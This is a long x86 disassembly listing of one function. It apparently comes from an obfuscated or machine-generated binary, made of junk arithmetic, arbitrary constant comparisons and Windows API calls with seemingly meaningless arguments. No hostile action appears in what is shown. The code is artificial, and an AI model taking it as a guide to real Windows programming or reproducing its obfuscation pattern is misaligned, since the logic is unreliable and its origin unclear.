mov eax, dword [ebp - 0x20fc]
mov ecx, dword [ebp - 0x93c]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0xa40]
mov ecx, dword [ebp - 0x874]
xor ecx, dword [eax]
cmp edx, ecx
jne 0x4f5dc2
lea edx, [ebp - 0x2190]
push edx
lea eax, [ebp - 0xc58]
push eax
call dword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [ebp - 0x102c], eax
jmp 0x4f5dd8
mov ecx, dword [ebp - 0xc34]
mov edx, dword [ebp - 0x394]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x10d0], eax
movzx ecx, byte [ebp - 0xead]
mov edx, dword [ebp - 0x168]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x2648]
mov byte [edx], cl
lea eax, [ebp - 0x1ab0]
push eax
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
mov dword [ebp - 0x2168], eax
mov ecx, dword [ebp - 0x15f0]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xa9c]
sub edx, eax
mov ecx, dword [ebp - 0x240c]
mov word [ecx], dx
lea edx, [ebp - 0x5f5]
push edx
call dword [sym.imp.SHELL32.dll_ILRemoveLastID]
mov dword [ebp - 0x62c], eax
jmp 0x4f5e8c
mov eax, dword [ebp - 0x1c04]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x10d0]
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp - 0xa40]
mov eax, dword [ebp - 0x2400]
add eax, dword [edx]
mov ecx, dword [ebp - 0x14a0]
mov dword [ecx], eax
call fcn.0046d040
lea edx, [ebp - 0x1ec0]
push edx
call dword [sym.imp.ole32.dll_CoFileTimeNow]
mov dword [ebp - 0x190c], eax
mov eax, dword [ebp - 0xc34]
mov ecx, dword [ebp - 0x6cc]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x128]
mov dword [eax], edx
mov cl, byte [ebp - 0x1732]
mov byte [ebp - 0x273c], cl
cmp byte [ebp - 0x273c], 0
je 0x4f5f54
cmp byte [ebp - 0x273c], 0x11
je 0x4f5eb3
jmp 0x50d30a
mov edx, dword [ebp - 0xa40]
mov eax, dword [edx]
and eax, dword [ebp - 0x1f74]
mov ecx, dword [ebp - 0x804]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x1fbc]
cmp eax, edx
jae 0x4f5f4f
mov eax, dword [ebp - 0x680]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x7bd]
sar edx, cl
mov byte [ebp - 0xa49], dl
mov eax, dword [ebp - 0x20fc]
mov ecx, dword [ebp - 0x2400]
or ecx, dword [eax]
mov edx, dword [ebp - 0x167c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1c04]
mov ecx, dword [ebp - 0xc34]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x208], edx
push 0x33
lea eax, [ebp - 0xea4]
push eax
push section..text
mov ecx, dword [ebp - 0x658]
push ecx
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0xfb4], eax
mov edx, dword [ebp - 0x394]
mov eax, dword [ebp - 0x114]
add eax, dword [edx]
mov ecx, dword [ebp - 0x308]
mov dword [ecx], eax
jmp 0x50d30a
mov edx, dword [ebp - 0x1c04]
mov eax, dword [ebp - 0x208]
add eax, dword [edx]
mov dword [ebp - 0x114], eax
mov ecx, dword [ebp - 0x16d0]
mov edx, dword [ebp - 0x1d24]
and edx, dword [ecx]
mov eax, dword [ebp - 0x33c]
mov dword [eax], edx
mov ecx, dword [ebp - 0xf00]
mov dx, word [ecx]
mov word [ebp - 0xb1c], dx
movsx eax, byte [ebp - 0x1732]
mov ecx, dword [ebp - 0x2298]
movsx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x147c]
movsx edx, byte [ecx]
mov ecx, dword [ebp - 0xab8]
movsx ecx, byte [ecx]
add edx, ecx
cmp eax, edx
jl 0x50d2ac
movzx edx, word [ebp - 0x1594]
mov eax, dword [ebp - 0x15f0]
movzx ecx, word [eax]
sub edx, ecx
movzx eax, word [ebp - 0xa9c]
movzx ecx, word [ebp - 0x18dc]
add eax, ecx
cmp edx, eax
jg 0x50d287
mov edx, dword [ebp - 0x240c]
mov ax, word [edx]
mov word [ebp - 0x310], ax
mov ecx, dword [ebp - 0x2298]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x147c]
movsx ecx, byte [eax]
xor edx, ecx
mov eax, dword [ebp - 0x1bdc]
movsx ecx, byte [eax]
mov eax, dword [ebp - 0xab8]
movsx eax, byte [eax]
or ecx, eax
cmp edx, ecx
jg 0x4f61b9
mov ecx, dword [ebp - 0x176c]
mov edx, dword [ebp - 0x10d0]
and edx, dword [ecx]
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 0x114]
cmp edx, eax
jne 0x4f61b4
mov ecx, dword [ebp - 0x1fbc]
add ecx, dword [ebp - 0x76c]
mov dword [ebp - 0x874], ecx
mov edx, dword [ebp - 0x2168]
mov dword [ebp - 0x2740], edx
cmp dword [ebp - 0x2740], 0x2a5ea467
je 0x4f619e
cmp dword [ebp - 0x2740], 0x3d5e2e0e
je 0x4f6084
jmp 0x4f61b4
mov eax, dword [ebp - 0xe60]
mov ecx, dword [ebp - 0x874]
and ecx, dword [eax]
mov dword [ebp - 0x1fbc], ecx
mov edx, dword [ebp - 0x8b8]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x680]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x2648]
mov byte [ecx], al
mov edx, dword [ebp - 0x1bdc]
mov al, byte [edx]
mov byte [ebp - 0x2744], al
cmp byte [ebp - 0x2744], 0x37
je 0x4f60dd
cmp byte [ebp - 0x2744], 0x6a
je 0x4f6182
jmp 0x4f619c
mov ecx, dword [ebp - 0x76c]
add ecx, dword [ebp - 0x1fbc]
mov edx, dword [ebp - 0xe60]
mov eax, dword [ebp - 0x22a0]
sub eax, dword [edx]
cmp ecx, eax
jne 0x4f616d
lea ecx, [ebp - 0x1134]
push ecx
lea edx, [ebp - 0x2f0]
push edx
call dword [sym.imp.ole32.dll_CoAllowSetForegroundWindow]
mov dword [ebp - 0x3a4], eax
movzx eax, word [ebp - 0x1594]
mov ecx, dword [ebp - 0x344]
movzx ecx, word [ecx]
shl eax, cl
mov edx, dword [ebp - 0x240c]
mov word [edx], ax
lea eax, [ebp - 0x1834]
push eax
call dword [sym.imp.COMDLG32.dll_FindTextW]
mov dword [ebp - 0x2084], eax
mov ecx, dword [ebp - 0x176c]
mov edx, dword [ebp - 0x2168]
or edx, dword [ecx]
mov dword [ebp - 0x114], edx
mov eax, dword [ebp - 0x22a0]
xor eax, dword [ebp - 0x209c]
mov ecx, dword [ebp - 0x29c]
mov dword [ecx], eax
jmp 0x4f6180
lea edx, [ebp - 0xcb4]
push edx
call dword [sym.imp.COMDLG32.dll_ReplaceTextW]
mov dword [ebp - 0x658], eax
jmp 0x4f619c
mov eax, dword [ebp - 0x142c]
mov ecx, dword [ebp - 0x33c]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0xc34]
mov dword [eax], edx
jmp 0x4f61b4
mov ecx, dword [ebp - 0x1654]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x240c]
mov cx, word [eax]
call fcn.004721c0
jmp 0x4f62a6
movzx edx, byte [ebp - 0x1ad]
movzx ecx, byte [ebp + 8]
sar edx, cl
movzx eax, byte [ebp - 0x18a1]
mov ecx, dword [ebp - 0x162c]
movzx ecx, byte [ecx]
shl eax, cl
cmp edx, eax
jle 0x4f62a6
mov edx, dword [ebp - 0x13d8]
mov eax, dword [edx]
and eax, dword [ebp - 0x208]
mov dword [ebp + 0xc], eax
push 0x4b
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x300]
push edx
call dword [sym.imp.COMCTL32.dll_DrawInsert]
mov al, byte [ebp - 0x1732]
mov byte [ebp - 0x2748], al
cmp byte [ebp - 0x2748], 0x20
je 0x4f621b
jmp 0x4f6293
movzx ecx, word [ebp - 0xa9c]
movzx edx, word [ebp - 0x310]
add ecx, edx
mov eax, dword [ebp - 0x344]
mov word [eax], cx
mov ecx, dword [ebp - 0x2648]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x213a]
sub edx, eax
mov byte [ebp - 0x2085], dl
mov ecx, dword [ebp - 0x15f0]
movzx edx, word [ecx]
push edx
movzx eax, byte [ebp - 0x3e9]
push eax
movzx ecx, word [ebp - 0x174]
push ecx
mov dl, byte [ebp - 0x213a]
mov eax, dword [ebp - 0x2648]
mov cl, byte [eax]
call fcn.00478870
mov ecx, dword [ebp - 0x20fc]
mov edx, dword [ebp - 0xa40]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x14a0]
mov dword [ecx], eax
jmp 0x4f62a6
mov edx, dword [ebp - 0x394]
mov eax, dword [ebp - 0x33c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp - 0x2f0]
mov ax, word [edx]
mov word [ebp - 0x1d88], ax
movsx ecx, byte [ebp - 0x3e9]
movsx edx, byte [ebp - 0x5f5]
and ecx, edx
mov eax, dword [ebp - 0x2298]
mov byte [eax], cl
mov ecx, dword [ebp - 0xf9c]
movzx edx, byte [ecx]
movzx eax, byte [ebp + 8]
add edx, eax
mov byte [ebp - 0xead], dl
mov ecx, dword [ebp - 0x29c]
mov edx, dword [ecx]
mov dword [ebp - 0x274c], edx
cmp dword [ebp - 0x274c], 0xe0c95efe
je 0x4f62ff
jmp 0x4f633d
push 0xba
push 0x61
call dword [sym.imp.ole32.dll_CoCancelCall]
mov dword [ebp - 0x190c], eax
mov eax, dword [ebp - 0x2168]
xor eax, dword [ebp - 0x114]
mov dword [ebp - 0x1d24], eax
mov ecx, dword [ebp - 0x22a0]
or ecx, dword [ebp - 0x1fbc]
mov edx, dword [ebp - 0x167c]
mov dword [edx], ecx
jmp 0x50d1f1
mov eax, dword [ebp - 0x142c]
mov ecx, dword [eax]
mov dword [ebp - 0xcbc], ecx
mov edx, dword [ebp - 0x29c]
mov eax, dword [ebp - 0x167c]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [ebp - 0x14a0]
mov ecx, dword [ebp - 0x804]
mov eax, dword [eax]
mov ecx, dword [ecx]
shl eax, cl
cmp edx, eax
jne 0x50d19c
mov ecx, dword [ebp - 0x1654]
mov edx, dword [ecx]
mov dword [ebp - 0x2750], edx
cmp dword [ebp - 0x2750], 0
je 0x4f63e4
cmp dword [ebp - 0x2750], 0xa1b1381b
je 0x4f639f
jmp 0x4f6597
lea eax, [ebp - 0x1954]
push eax
call dword [sym.imp.ole32.dll_CoIsOle1Class]
mov dword [ebp - 0x24e4], eax
mov ecx, dword [ebp - 0x680]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x168]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0xc34]
mov eax, dword [edx]
add eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x1c04]
mov dword [ecx], eax
jmp 0x4f6597
mov edx, dword [ebp - 0x142c]
mov eax, dword [ebp + 0xc]
add eax, dword [edx]
mov ecx, dword [ebp - 0x114]
sub ecx, dword [ebp - 0x208]
cmp eax, ecx
jle 0x4f64c1
mov edx, dword [ebp - 0x162c]
mov al, byte [edx]
mov byte [ebp - 0x2754], al
cmp byte [ebp - 0x2754], 0x49
je 0x4f64a2
cmp byte [ebp - 0x2754], 0xbe
je 0x4f642c
jmp 0x4f64bc
mov ecx, dword [ebp - 0x2648]
movzx edx, byte [ecx]
movzx eax, byte [ebp + 8]
sub edx, eax
mov ecx, dword [ebp - 0x680]
movzx eax, byte [ecx]
mov ecx, dword [ebp - 0x8b8]
movzx ecx, byte [ecx]
sub eax, ecx
cmp edx, eax
jne 0x4f646c
mov edx, dword [ebp - 0x680]
movzx eax, byte [edx]
push eax
movzx ecx, byte [ebp - 0x3e9]
push ecx
call fcn.004d1cd0
jmp 0x4f64a0
mov edx, dword [ebp - 0x2f0]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1d88]
add eax, ecx
movsx edx, word [ebp - 0x174]
mov ecx, dword [ebp - 0xf00]
movsx ecx, word [ecx]
or edx, ecx
cmp eax, edx
jg 0x4f64a0
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
mov dword [ebp - 0x15e8], eax
jmp 0x4f64bc
mov edx, dword [ebp - 0x14a0]
mov eax, dword [ebp - 0xe60]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [ebp - 0x20fc]
mov dword [eax], edx
jmp 0x4f6597
mov ecx, dword [ebp - 0x162c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x7bd]
xor edx, eax
movzx eax, byte [ebp - 0x18a1]
mov ecx, dword [ebp - 0x2648]
movzx ecx, byte [ecx]
shl eax, cl
cmp edx, eax
jge 0x4f6558
movsx edx, word [ebp - 0x174]
mov dword [ebp - 0x2758], edx
cmp dword [ebp - 0x2758], 0x14e3
je 0x4f6510
cmp dword [ebp - 0x2758], 0x6c3e
je 0x4f6542
jmp 0x4f6558
movzx eax, byte [ebp - 0x213a]
push eax
mov ecx, dword [ebp - 0x804]
mov edx, dword [ecx]
push edx
movzx eax, word [ebp - 0xb1c]
push eax
movzx ecx, byte [ebp - 0x1732]
push ecx
mov edx, dword [ebp - 0x1bdc]
movzx eax, byte [edx]
push eax
call fcn.00429f50
jmp 0x4f6558
mov ecx, dword [ebp - 0x128]
mov edx, dword [ebp - 0x6cc]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x208], eax
mov ecx, dword [ebp - 0x16d0]
mov edx, dword [ecx]
add edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x176c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x15f0]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x310]
add edx, eax
mov word [ebp - 0x19e4], dx
movzx ecx, byte [ebp - 0x2085]
movzx edx, byte [ebp + 8]
add ecx, edx
mov byte [ebp - 0x213a], cl
mov eax, dword [ebp - 0x8b8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x2648]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x168]
movzx eax, byte [edx]
movzx edx, byte [ebp - 0x7bd]
sub eax, edx
cmp ecx, eax
jl 0x50d032
mov eax, dword [ebp - 0x308]
mov ecx, dword [eax]
mov dword [ebp - 0x275c], ecx
cmp dword [ebp - 0x275c], 0x62058a00
je 0x4f65e4
jmp 0x4f66c1
mov edx, dword [ebp - 0x33c]
mov eax, dword [ebp - 0x10d0]
sub eax, dword [edx]
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp - 0x33c]
mov edx, dword [ebp - 0xc34]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x13d8]
mov dword [ecx], eax
mov dl, byte [ebp - 0x213a]
mov byte [ebp - 0x2760], dl
cmp byte [ebp - 0x2760], 0xd6
je 0x4f6626
jmp 0x4f663f
mov eax, dword [ebp - 0xf9c]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x15f0]
movzx eax, word [edx]
push eax
call section..text
mov ecx, dword [ebp - 0x166c]
push ecx
mov edx, dword [ebp - 0x131c]
push edx
mov eax, dword [ebp - 0x91c]
push eax
call dword [sym.imp.SHELL32.dll_FindExecutableW]
mov dword [ebp - 0x21a8], eax
mov ecx, dword [ebp - 0x22a0]
add ecx, dword [ebp - 0x209c]
mov edx, dword [ebp - 0x29c]
mov dword [edx], ecx
lea eax, [ebp - 0x262c]
push eax
call dword [sym.imp.COMDLG32.dll_ReplaceTextW]
mov dword [ebp - 0x2348], eax
mov ecx, dword [ebp - 0x162c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x18a1]
add edx, eax
mov byte [ebp - 0xa49], dl
mov ecx, dword [ebp - 0x240c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x15f0]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x240c]
mov word [eax], dx
jmp 0x50d021
lea ecx, [ebp - 0x114]
mov dword [ebp - 0xe4], ecx
mov edx, dword [ebp - 0x142c]
mov eax, dword [ebp - 0xe4]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x176c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x344]
movzx ecx, word [eax]
mov dword [ebp - 0x2764], ecx
cmp dword [ebp - 0x2764], 0
je 0x4f670e
cmp dword [ebp - 0x2764], 0xe19
je 0x4f676f
jmp 0x4f681f
mov edx, dword [ebp - 0xf00]
movsx eax, word [edx]
mov dword [ebp - 0x2768], eax
cmp dword [ebp - 0x2768], 0x4d8d
je 0x4f672b
jmp 0x4f676a
lea ecx, [ebp - 0xf00]
push ecx
lea edx, [ebp - 0x1268]
push edx
push 0x54
call dword [sym.imp.SHELL32.dll_SHGetImageList]
mov dword [ebp - 0x1d70], eax
mov eax, dword [ebp - 0x22a0]
add eax, dword [ebp - 0x76c]
mov ecx, dword [ebp - 0x804]
mov dword [ecx], eax
mov edx, dword [ebp + 0xc]
and edx, dword [ebp - 0x208]
mov dword [ebp - 0x2168], edx
jmp 0x4f681f
lea eax, [ebp - 0x2240]
push eax
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
mov dword [ebp - 0xfa0], eax
movsx ecx, word [ebp - 0x23a0]
mov dword [ebp - 0x276c], ecx
cmp dword [ebp - 0x276c], 0x6bc6
je 0x4f679d
jmp 0x4f67b3
mov edx, dword [ebp - 0xcbc]
xor edx, dword [ebp - 0x10d0]
mov eax, dword [ebp - 0x394]
mov dword [eax], edx
jmp 0x4f681f
movsx edx, byte [ebp - 0x5f5]
movsx ecx, byte [ebp - 0x3e9]
shl edx, cl
mov byte [ebp - 0x1732], dl
movsx eax, word [ebp - 0x1d88]
mov ecx, dword [ebp - 0xf00]
movsx edx, word [ecx]
or eax, edx
mov ecx, dword [ebp - 0x2f0]
mov word [ecx], ax
movzx edx, word [ebp - 0x18dc]
movzx ecx, word [ebp - 0x310]
sar edx, cl
mov word [ebp - 0xa9c], dx
call dword [sym.imp.ole32.dll_CoRevertToSelf]
mov dword [ebp - 0xf28], eax
movzx eax, byte [ebp - 0x213a]
movzx ecx, byte [ebp - 0x2085]
add eax, ecx
mov edx, dword [ebp - 0x8b8]
mov byte [edx], al
mov eax, dword [ebp - 0x20fc]
mov ecx, dword [ebp - 0x1f74]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x167c]
mov dword [edx], ecx
mov eax, dword [ebp - 0xf00]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x1d88]
and ecx, edx
movsx eax, word [ebp - 0x174]
mov edx, dword [ebp - 0x2f0]
movsx edx, word [edx]
add eax, edx
cmp ecx, eax
jl 0x4f68cf
lea eax, [ebp + 0xc]
mov dword [ebp - 0x19fc], eax
mov cl, byte [ebp - 0x1732]
mov byte [ebp - 0x2770], cl
cmp byte [ebp - 0x2770], 0x2a
je 0x4f687d
jmp 0x4f68cf
movzx edx, byte [ebp - 0xa49]
movzx eax, byte [ebp - 0x1ad]
add edx, eax
mov byte [ebp - 0x213a], dl
movzx ecx, word [ebp - 0x19e4]
movzx edx, word [ebp - 0x310]
sub ecx, edx
mov eax, dword [ebp - 0x15f0]
mov word [eax], cx
lea ecx, [ebp - 0xead]
push ecx
lea edx, [ebp - 0x1d18]
push edx
push 0x1f
mov eax, dword [ebp - 0x1998]
push eax
call dword [sym.imp.SHELL32.dll_SHChangeNotification_Lock]
mov dword [ebp - 0x860], eax
mov ecx, dword [ebp - 0xa40]
mov edx, dword [ebp - 0x1f74]
add edx, dword [ecx]
mov eax, dword [ebp - 0xe60]
mov dword [eax], edx
mov ecx, dword [ebp - 0xab8]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x2298]
movsx ecx, byte [eax]
sub edx, ecx
movsx eax, byte [ebp - 0x1732]
movsx ecx, byte [ebp - 0x3e9]
sub eax, ecx
cmp edx, eax
je 0x4f693b
mov edx, dword [ebp - 0x2168]
mov ecx, dword [ebp - 0x114]
sar edx, cl
mov dword [ebp + 0xc], edx
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0x6cc]
mov edx, dword [eax]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x1c04]
mov dword [eax], edx
jmp 0x4f69e3
lea ecx, [ebp - 0x1fbc]
mov dword [ebp - 0x1a28], ecx
mov edx, dword [ebp - 0x208]
mov dword [ebp - 0x2774], edx
cmp dword [ebp - 0x2774], 0
je 0x4f695e
jmp 0x4f69b7
mov eax, dword [ebp - 0x240c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x10ac]
movzx eax, word [edx]
or ecx, eax
mov edx, dword [ebp - 0x344]
mov word [edx], cx
mov eax, dword [ebp - 0x2648]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0xead]
shl edx, cl
mov byte [ebp - 0x2085], dl
lea eax, [ebp - 0x1d24]
mov dword [ebp - 0xa80], eax
mov ecx, dword [ebp - 0x16d0]
mov edx, dword [ecx]
and edx, dword [ebp - 0xcbc]
mov eax, dword [ebp - 0x33c]
mov dword [eax], edx
jmp 0x4f69e3
lea ecx, [ebp - 0xea4]
push ecx
push 0x45
lea edx, [ebp - 0x2530]
push edx
push 0x49
lea eax, [ebp - 0x12bc]
push eax
lea ecx, [ebp - 0x1268]
push ecx
call dword [sym.imp.ole32.dll_CoGetStandardMarshal]
mov dword [ebp - 0x7c8], eax
mov edx, dword [ebp - 0x13d8]
mov eax, dword [ebp - 0x1dc0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x176c]
mov eax, dword [ebp - 0x308]
mov edx, dword [edx]
sub edx, dword [eax]
cmp ecx, edx
jle 0x4f6a1b
mov edx, dword [ebp - 0x209c]
mov eax, dword [ebp - 0x344]
mov cx, word [eax]
call fcn.004721c0
mov cl, byte [ebp - 0x3e9]
mov byte [ebp - 0x1931], cl
lea edx, [ebp - 0x1d88]
mov dword [ebp - 0x20c], edx
mov eax, dword [ebp - 0x167c]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x1f74]
mov edx, dword [ebp - 0xa40]
mov eax, dword [edx]
add eax, dword [ebp - 0x1fbc]
cmp ecx, eax
je 0x4f6a6d
movzx ecx, byte [ebp - 0x213a]
movzx edx, byte [ebp - 0x18a1]
add ecx, edx
mov eax, dword [ebp - 0xf9c]
mov byte [eax], cl
jmp 0x4f6abf
mov ecx, dword [ebp - 0x2168]
sub ecx, dword [ebp - 0x10d0]
mov edx, dword [ebp - 0x19fc]
mov eax, dword [ebp + 0xc]
add eax, dword [edx]
cmp ecx, eax
je 0x4f6abf
call dword [sym.imp.ole32.dll_CoGetCurrentProcess]
mov dword [ebp - 0x209c], eax
jmp 0x50d106
mov eax, dword [ebp - 0x168]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x162c]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0xf9c]
movzx eax, byte [edx]
mov edx, dword [ebp - 0x8b8]
movzx edx, byte [edx]
and eax, edx
cmp ecx, eax
jle 0x50d106
mov eax, dword [ebp - 0x209c]
mov dword [ebp - 0x2818], eax
cmp dword [ebp - 0x2818], 0x8a68abcf
je 0x50d0f0
cmp dword [ebp - 0x2818], 0xfdf1c8ba
je 0x50d088
jmp 0x50d106
mov ecx, dword [ebp - 0x394]
mov edx, dword [ebp - 0x13d8]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0xcbc], eax
lea ecx, [ebp - 0x344]
push ecx
lea edx, [ebp - 0x294]
push edx
push 0xdf
push 0x58
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
mov eax, dword [ebp - 0x344]
movzx edx, word [eax]
mov eax, dword [ebp - 0x15f0]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x344]
mov word [ecx], dx
movzx edx, byte [ebp - 0x2085]
mov eax, dword [ebp - 0x162c]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x7bd], dl
jmp 0x50d106
mov edx, dword [ebp - 0x804]
mov eax, dword [edx]
and eax, dword [ebp - 0x874]
mov ecx, dword [ebp - 0x93c]
mov dword [ecx], eax
lea edx, [ebp - 0x23ec]
push edx
push str.Ramifies_predisposing_feinting
call dword [sym.imp.ole32.dll_CLSIDFromProgIDEx]
mov dword [ebp - 0x190c], eax
mov eax, dword [ebp - 0x344]
movzx ecx, word [eax]
mov dword [ebp - 0x281c], ecx
cmp dword [ebp - 0x281c], 0xb97
je 0x50d13b
jmp 0x50d184
movsx edx, byte [ebp - 0x1732]
mov eax, dword [ebp - 0x1bdc]
movsx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0xab8]
mov byte [eax], dl
movsx ecx, word [ebp - 0x174]
mov edx, dword [ebp - 0xf00]
movsx eax, word [edx]
or ecx, eax
mov word [ebp - 0x1d88], cx
mov edx, dword [ebp - 0x1fbc]
mov ecx, dword [ebp - 0x240c]
mov cx, word [ecx]
call fcn.004721c0
jmp 0x50d19c
mov edx, dword [ebp - 0x20fc]
mov eax, dword [ebp - 0x2400]
mov ecx, dword [edx]
shr eax, cl
mov ecx, dword [ebp - 0x167c]
mov dword [ecx], eax
mov dl, byte [ebp - 0x3e9]
mov byte [ebp - 0x2820], dl
cmp byte [ebp - 0x2820], 3
je 0x50d1b3
jmp 0x50d1d8
push 1
mov eax, dword [ebp - 0x1ee0]
push eax
mov ecx, dword [ebp - 0x1ee4]
push ecx
mov edx, dword [ebp - 0x24cc]
push edx
call dword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [ebp - 0x2168], eax
jmp 0x50d1f1
movzx eax, word [ebp - 0x18dc]
movzx ecx, word [ebp - 0x1594]
and eax, ecx
mov edx, dword [ebp - 0x15f0]
mov word [edx], ax
mov eax, dword [ebp - 0x1ca0]
push eax
call dword [sym.imp.SHELL32.dll_DragFinish]
mov ecx, dword [ebp - 0x240c]
movzx edx, word [ecx]
mov dword [ebp - 0x2824], edx
cmp dword [ebp - 0x2824], 0xd23
je 0x50d271
cmp dword [ebp - 0x2824], 0xf8a
je 0x50d227
jmp 0x50d287
movzx eax, word [ebp - 0x10dc]
movzx ecx, word [ebp - 0x310]
add eax, ecx
mov edx, dword [ebp - 0x344]
mov word [edx], ax
call fcn.004d7e60
mov eax, dword [ebp - 0xe60]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x76c]
mov dword [ebp - 0x1f74], ecx
mov edx, dword [ebp - 0x176c]
mov eax, dword [edx]
add eax, dword [ebp - 0x208]
mov ecx, dword [ebp - 0x16d0]
mov dword [ecx], eax
jmp 0x50d287
mov edx, dword [ebp - 0x20fc]
mov edx, dword [edx]
mov eax, dword [ebp - 0x344]
mov cx, word [eax]
call fcn.004721c0
push 0x6b
lea ecx, [ebp - 0x262c]
push ecx
push 0x54
lea edx, [ebp - 0x1ab0]
push edx
lea eax, [ebp - 0x1cb0]
push eax
call dword [sym.imp.SHELL32.dll_SHGetDataFromIDListW]
mov dword [ebp - 0x15e8], eax
mov ecx, dword [ebp - 0x1bdc]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x3e9]
sub edx, eax
mov byte [ebp - 0x1732], dl
mov eax, dword [ebp - 0x1d24]
mov dword [ebp - 0x2828], eax
cmp dword [ebp - 0x2828], 0xb3826ed
je 0x50d2de
jmp 0x50d2f5
movzx ecx, byte [ebp - 0x213a]
push ecx
mov edx, dword [ebp - 0x2298]
movzx eax, byte [edx]
push eax
call fcn.004d1cd0
movzx ecx, byte [ebp + 8]
movzx edx, byte [ebp - 0x7bd]
sub ecx, edx
mov eax, dword [ebp - 0x8b8]
mov byte [eax], cl
mov ecx, dword [ebp - 0x10d0]
push ecx
movzx edx, byte [ebp - 0x213a]
push edx
call fcn.004ef7c0
add esp, 8
mov eax, dword [ebp - 0x2168]
sub eax, dword [ebp - 0x114]
mov dword [ebp + 0xc], eax
lea ecx, [ebp - 0x1dc0]
push ecx
lea edx, [ebp - 0x3a4]
push edx
lea eax, [ebp - 0x1134]
push eax
call dword [sym.imp.ole32.dll_CoFileTimeToDosDateTime]
mov dword [ebp - 0xfa0], eax
movzx ecx, word [ebp - 0x1594]
movzx edx, word [ebp - 0x10dc]
sub ecx, edx
mov eax, dword [ebp - 0x15f0]
mov word [eax], cx
call fcn.0046d040
mov ecx, dword [ebp - 0x13d8]
mov edx, dword [ecx]
add edx, dword [ebp - 0x114]
mov eax, dword [ebp - 0x128]
mov dword [eax], edx
mov cl, byte [ebp + 8]
mov byte [ebp - 0x282c], cl
cmp byte [ebp - 0x282c], 0x9e
je 0x50d399
jmp 0x50d39b
jmp 0x50d3ad
mov edx, dword [ebp - 0x874]
xor edx, dword [ebp - 0x1f74]
mov dword [ebp - 0x1fbc], edx
lea eax, [ebp - 0x5c0]
push eax
lea ecx, [ebp - 0x2f0]
push ecx
lea edx, [ebp - 0x13c]
push edx
push 0x6b
lea eax, [ebp - 0xe60]
push eax
call dword [sym.imp.ole32.dll_CoInstall]
mov dword [ebp - 0x1e1c], eax
mov ecx, dword [ebp - 0x114]
add ecx, dword [ebp - 0x1d24]
mov dword [ebp - 0x208], ecx
mov edx, dword [ebp - 0xf9c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x2648]
movzx ecx, byte [ecx]
shl eax, cl
mov edx, dword [ebp - 0xf9c]
mov byte [edx], al
call fcn.0046d040
push 0
